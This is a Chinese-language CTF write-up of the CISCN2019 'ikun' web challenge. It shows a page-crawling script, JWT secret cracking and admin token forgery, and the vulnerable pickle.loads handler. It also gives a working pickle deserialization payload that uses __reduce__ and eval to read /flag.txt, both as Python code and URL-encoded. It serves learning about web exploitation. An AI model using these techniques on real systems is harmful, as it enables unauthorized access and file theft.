[CISCN2019 华北赛区 Day1 Web2]ikun
题目提示要买lv6,于是在下面寻找lv6,但是点击了多次下一页仍没有发现lv6
于是果断编写python脚本来查找
首先确认一下lv6在源代码中的名称
然后遍历每一页查找lv6字符串即可
import requests url = "http://abc35a7b-7533-4306-b69c-7683eec65a0d.node3.buuoj.cn/shop?page=" for i in range(1, 1000): re = requests.get(url + str(i)) print(url + str(i)) if "lv6.png" in re.text: print(url + str(i)) break
输出结果如下
在181页,藏得真的深
使用burpsuite进行抓包,修改折扣
结果提示只允许admin访问
继续查看购买时的请求包,发现有JWT
什么是JWT?JWT认识 --> https://www.cnblogs.com/cjsblog/p/9277677.html
使用c-jwt-cracker破解JWT密钥 --> https://github.com/brendan-rius/c-jwt-cracker
破解出密钥为1Kun
然后去网站进行编码 --> https://jwt.io/
将username改为admin,密钥改为1Kun
然后将编码好的cookie重新放回去
接着还需要修改一次cookie
最后就会出现如下界面,点击一键成为大会员没有反应
查看源代码,发现www.zip文件
下载下来后发现一堆python文件,看来是代码审计,本人太菜不会python代码审计
后面的借鉴其他大佬的博客
Admin.py中有提示,This is Black Technology
1 import tornado.web 2 from sshop.base import BaseHandler 3 import pickle 4 import urllib 5 6 7 class AdminHandler(BaseHandler): 8 @tornado.web.authenticated 9 def get(self, *args, **kwargs): 10 if self.current_user == "admin": 11 return self.render('form.html', res='This is Black Technology!', member=0) 12 else: 13 return self.render('no_ass.html') 14 15 @tornado.web.authenticated 16 def post(self, *args, **kwargs): 17 try: 18 become = self.get_argument('become') 19 p = pickle.loads(urllib.unquote(become)) 20 return self.render('form.html', res=p, member=1) 21 except: 22 return self.render('form.html', res='This is Black Technology!', member=0)
漏洞点为pickle反序列化,漏洞产生的原因在于其可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发__reduce__()函数从而触发恶意代码,那我们就重写__reduce__()魔法方法
python脚本如下:
import pickle import urllib class payload(object): def __reduce__(self): return (eval, ("open('/flag.txt','r').read()",)) #读取flag.txt的内容,一般来说flag.txt在系统根目录下 a = pickle.dumps(payload()) #序列化payload a = urllib.quote(a) #进行url编码 print(a)
运行的时候将中文注释去掉
点击一键成为大会员,然后修改become参数
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
获取到flag